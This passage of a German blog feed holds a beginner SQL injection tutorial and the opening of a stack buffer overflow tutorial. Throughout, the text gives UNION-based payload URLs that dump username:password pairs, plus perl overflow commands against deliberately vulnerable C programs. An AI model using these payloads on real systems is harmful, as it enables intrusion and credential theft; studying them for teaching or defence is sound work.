style="color: #000033;"&gt;,&lt;/span&gt;&lt;span style="color: #999900; font-weight: bold;"&gt;text&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;FROM&lt;/span&gt; news &lt;span style="color: #990099; font-weight: bold;"&gt;WHERE&lt;/span&gt; id &lt;span style="color: #cc0099;"&gt;=&lt;/span&gt; &lt;span style="color: teal;"&gt;5&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;UNION&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;SELECT&lt;/span&gt; &lt;span style="color: teal;"&gt;1&lt;/span&gt;&lt;span style="color: #000033;"&gt;,&lt;/span&gt;&lt;span style="color: teal;"&gt;2&lt;/span&gt;&lt;span style="color: #000033;"&gt;,&lt;/span&gt;&lt;span style="color: teal;"&gt;3&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;FROM&lt;/span&gt; blub&lt;span style="color: olive; font-style: italic;"&gt;/*&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Auch hier ist das Auskommentieren am Schluss wichtig.&lt;br /&gt;Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, müssen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/ &lt;img alt=":)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_smile.gif" /&gt; &lt;br /&gt;So falls ihr nun auf dem Bildschirm Zahlen seht, die 1,2 oder 3 enthalten, dann  funktioniert unser UNION SELECT Statement sehr häufig oder eigentlich  sogut wie immer.  Sieht dann so aus:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies  nicht der fall haben wir eine Falsche Column-Anzahl erwischt oder der  Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3  kein UNION existiert, da es das erst seit Version 4 gibt. Das müsste  man dann anders machen, wird in Teil 3 meines Tutorials genauer drauf eingegangen.&lt;br /&gt;&lt;em&gt;4) MySQL Version ermitteln&lt;/em&gt;&lt;br /&gt;So, wenn wir nun eine 1,2 oder 3 auf dem&amp;nbsp; Bildschirm sehen, dann können  wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist  lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel  sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch  0x&lt;span style="color: olive;"&gt;66&lt;/span&gt; und sehen beim Drücken auf Enter auf einmal dort wo  die 2 war “f” stehen &lt;img alt=":D" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_biggrin.gif" /&gt;&lt;br /&gt;Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4  die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter  dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen  kann man sich das mit &lt;strong&gt;version()&lt;/strong&gt; oder &lt;strong&gt;@@version&lt;/strong&gt;. Das nehmen wir wieder unsere 2 welche wir auf dem Bildschirm sehen und ersetzen es in der URL mit version().&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;(Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)&lt;br /&gt;oder eben&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;(ich benutzt das erstere lieber)&lt;br /&gt;Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.&lt;br /&gt;Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so  aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and  (utf8_general_ci,SYSCONST) for operation ‘UNION’“&lt;br /&gt;Dann muessen wir die Convert Funktion benutzen, in diesem falle dann&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;oder&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Man kann dies aber auch noch mit unhex(hex()) machen. Durch das  Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen  einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt  ich ganz gerne da es einfacher ist.&lt;br /&gt;Bsp.:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Nun wird die Version angezeigt und es erscheint kein Fehler mehr.&lt;br /&gt;&lt;em&gt;5) Table &amp;amp; Column Namen rausfinden&lt;/em&gt;&lt;br /&gt;So nun wollen wir uns auch die Tables &amp;amp; Columns ausgeben lassen.&lt;br /&gt;V4 ist ein bisschen blöd, da man dort „raten“ muss. Oft verwendete Tabellen Namen:&lt;br /&gt;user/s, admin/s, member/s, login,…&lt;br /&gt;und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…&lt;br /&gt;Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.&lt;br /&gt;Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen  wollen, meistens die Tabelle in der Users drin gespeichert sind, müssen  wir ein zweites simples MySQL Query machen.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="mysql" style="font-family: monospace;"&gt;...&lt;span style="color: #990099; font-weight: bold;"&gt;UNION&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;SELECT&lt;/span&gt; &lt;span style="color: teal;"&gt;1&lt;/span&gt;&lt;span style="color: #000033;"&gt;,&lt;/span&gt;&lt;span style="color: teal;"&gt;2&lt;/span&gt;&lt;span style="color: #000033;"&gt;,&lt;/span&gt;&lt;span style="color: teal;"&gt;3&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;FROM&lt;/span&gt; tabelle&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Das heißt wir wollen schauen, ob die Tabelle existiert. “Wähle aus von Tabelle”.&lt;br /&gt;Wie sieht das nun bei uns aus?&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Muss man nun eben durch testen.. wenn man die richtige Tabelle  gefunden hat, werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder  unsere 2 und suchen nach den columns.. oben stehen die am meisten  verwendeten..&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,username,3/**/FROM/**/users/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;In unserem MySQL Query heißt das nun also:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="mysql" style="font-family: monospace;"&gt;...&lt;span style="color: #990099; font-weight: bold;"&gt;UNION&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;SELECT&lt;/span&gt; &lt;span style="color: teal;"&gt;1&lt;/span&gt;&lt;span style="color: #000033;"&gt;,&lt;/span&gt;username&lt;span style="color: #000033;"&gt;,&lt;/span&gt;&lt;span style="color: teal;"&gt;3&lt;/span&gt; &lt;span style="color: #990099; font-weight: bold;"&gt;FROM&lt;/span&gt; users&lt;span style="color: olive; font-style: italic;"&gt;/*&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wähle Username aus Tabelle “users”.&lt;br /&gt;Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,…  Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte  „password“.&lt;br /&gt;Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich. &lt;img alt=":)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_smile.gif" /&gt; &lt;br /&gt;Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;0x3a = hex = (ein Doppelpunkt) :&lt;br /&gt;Nun sehen wir dort:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;username:password&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Und eine Erfolgreiche SQL Injection.&lt;br /&gt;So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich  hoffe es ist einigermaßen verständlich vorallem für Anfänger  geworden.&lt;br /&gt;&lt;br /&gt;~fred &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-3408414178206318626?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/3408414178206318626/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/sql-injection-tutorial-teil-1.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/3408414178206318626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/3408414178206318626'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/sql-injection-tutorial-teil-1.html' title='SQL Injection Tutorial Teil 1'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-9068909875550916253</id><published>2011-04-09T09:20:00.000-07:00</published><updated>2011-04-10T00:09:23.054-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Advanced Stack-Bufferoverflows</title><content type='html'>Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.&lt;br /&gt;Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!&lt;br /&gt;Doch was bleibt uns übrig wenn man zwar aus dem Speicherbereich der&lt;br /&gt;ursprünglichen Variable “ausbrechen” kann, aber nicht bis zur RET kommt sondern nur andere Variablen die im weiteren Programmablauf genutzt werden&lt;br /&gt;überschreiben kann?&lt;br /&gt;tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="c" style="font-family: monospace;"&gt;&lt;span style="color: #339933;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;  &lt;span style="color: #993333;"&gt;int&lt;/span&gt; main &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #993333;"&gt;int&lt;/span&gt; argc&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #993333;"&gt;char&lt;/span&gt; &lt;span style="color: #339933;"&gt;**&lt;/span&gt;argv&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;char&lt;/span&gt; h &lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: red;"&gt;"/bin/uname"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;char&lt;/span&gt; text&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;100&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;argc &lt;span style="color: #339933;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;1&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;    strncpy&lt;span style="color: #009900;"&gt;(&lt;/span&gt;text&lt;span style="color: #339933;"&gt;,&lt;/span&gt; argv&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;1&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;110&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #000066;"&gt;printf&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"%s&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; h&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   execl &lt;span style="color: #009900;"&gt;(&lt;/span&gt;h&lt;span style="color: #339933;"&gt;,&lt;/span&gt;h&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #993333;"&gt;char&lt;/span&gt; &lt;span style="color: #339933;"&gt;*&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.&lt;br /&gt;h wird im nachhinein als Argument für execl benutz was für uns aüßerst&lt;br /&gt;attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;./test `perl -e 'printf "a"x110'`&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;aaaaaaaaaa&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;[LIST DIRECTORY EXECUTED]&lt;br /&gt;Somit konnten wir das Überschreiben von unseren programmeigenen Variablen&lt;br /&gt;erfolgreich auszunutzen.&lt;br /&gt;tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und&lt;br /&gt;umfangreicherem Beispiel ;D&lt;br /&gt;Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.&lt;br /&gt;Wir haben keine Root Rechte finden allerdings ein suid-root Programm&lt;br /&gt;+ Quellcode.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="c" style="font-family: monospace;"&gt;&lt;span style="color: #339933;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;strings.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;  &lt;span style="color: #993333;"&gt;int&lt;/span&gt; main&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #993333;"&gt;int&lt;/span&gt; argc&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #993333;"&gt;char&lt;/span&gt; &lt;span style="color: #339933;"&gt;**&lt;/span&gt;argv&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;int&lt;/span&gt; s&lt;span style="color: #339933;"&gt;,&lt;/span&gt;c&lt;span style="color: #339933;"&gt;,&lt;/span&gt; i&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   socklen_t addr_len&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;struct&lt;/span&gt; sockaddr_in addr&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;char&lt;/span&gt; file_line&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;60&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;char&lt;/span&gt; recvb&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;1024&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   s &lt;span style="color: #339933;"&gt;=&lt;/span&gt; socket&lt;span style="color: #009900;"&gt;(&lt;/span&gt;AF_INET&lt;span style="color: #339933;"&gt;,&lt;/span&gt; SOCK_STREAM&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;atoi&lt;span style="color: #009900;"&gt;(&lt;/span&gt;argv&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;1&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;1024&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;1338&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   addr.&lt;span style="color: #202020;"&gt;sin_addr&lt;/span&gt;.&lt;span style="color: #202020;"&gt;s_addr&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; INADDR_ANY&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   addr.&lt;span style="color: #202020;"&gt;sin_port&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; htons&lt;span style="color: #009900;"&gt;(&lt;/span&gt;atoi&lt;span style="color: #009900;"&gt;(&lt;/span&gt;argv&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;1&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   addr.&lt;span style="color: #202020;"&gt;sin_family&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; AF_INET&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;   FILE &lt;span style="color: #339933;"&gt;*&lt;/span&gt;fp &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fopen&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"prefs.cfg"&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;"r"&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;for&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;i &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; i &lt;span style="color: #339933;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;65&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; i&lt;span style="color: #339933;"&gt;++&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;    file_line&lt;span style="color: #009900;"&gt;[&lt;/span&gt;i&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; getc&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fp&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   fclose&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fp&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;   bind&lt;span style="color: #009900;"&gt;(&lt;/span&gt;s&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #993333;"&gt;struct&lt;/span&gt; sockaddr&lt;span style="color: #339933;"&gt;*&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;&amp;amp;&lt;/span&gt;addr&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #993333;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;addr&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;   listen&lt;span style="color: #009900;"&gt;(&lt;/span&gt;s&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;3&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;   addr_len &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #993333;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;addr&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;for&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #339933;"&gt;;;&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;    c &lt;span style="color: #339933;"&gt;=&lt;/span&gt; accept&lt;span style="color: #009900;"&gt;(&lt;/span&gt;s&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #993333;"&gt;struct&lt;/span&gt; sockaddr&lt;span style="color: #339933;"&gt;*&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;&amp;amp;&lt;/span&gt;addr&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #339933;"&gt;&amp;amp;&lt;/span&gt;addr_len&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;    recv&lt;span style="color: #009900;"&gt;(&lt;/span&gt;c&lt;span style="color: #339933;"&gt;,&lt;/span&gt; recvb&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #993333;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;recvb&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #000066;"&gt;printf&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"%s&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; recvb&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;    close&lt;span style="color: #009900;"&gt;(&lt;/span&gt;c&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;   close&lt;span style="color: #009900;"&gt;(&lt;/span&gt;s&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die&lt;br /&gt;kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem&lt;br /&gt;Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.&lt;br /&gt;Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,&lt;br /&gt;viel Glück!&lt;br /&gt;Für alle anderen Schwachmaten:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="c" style="font-family: monospace;"&gt;....&lt;br /&gt;  &lt;span 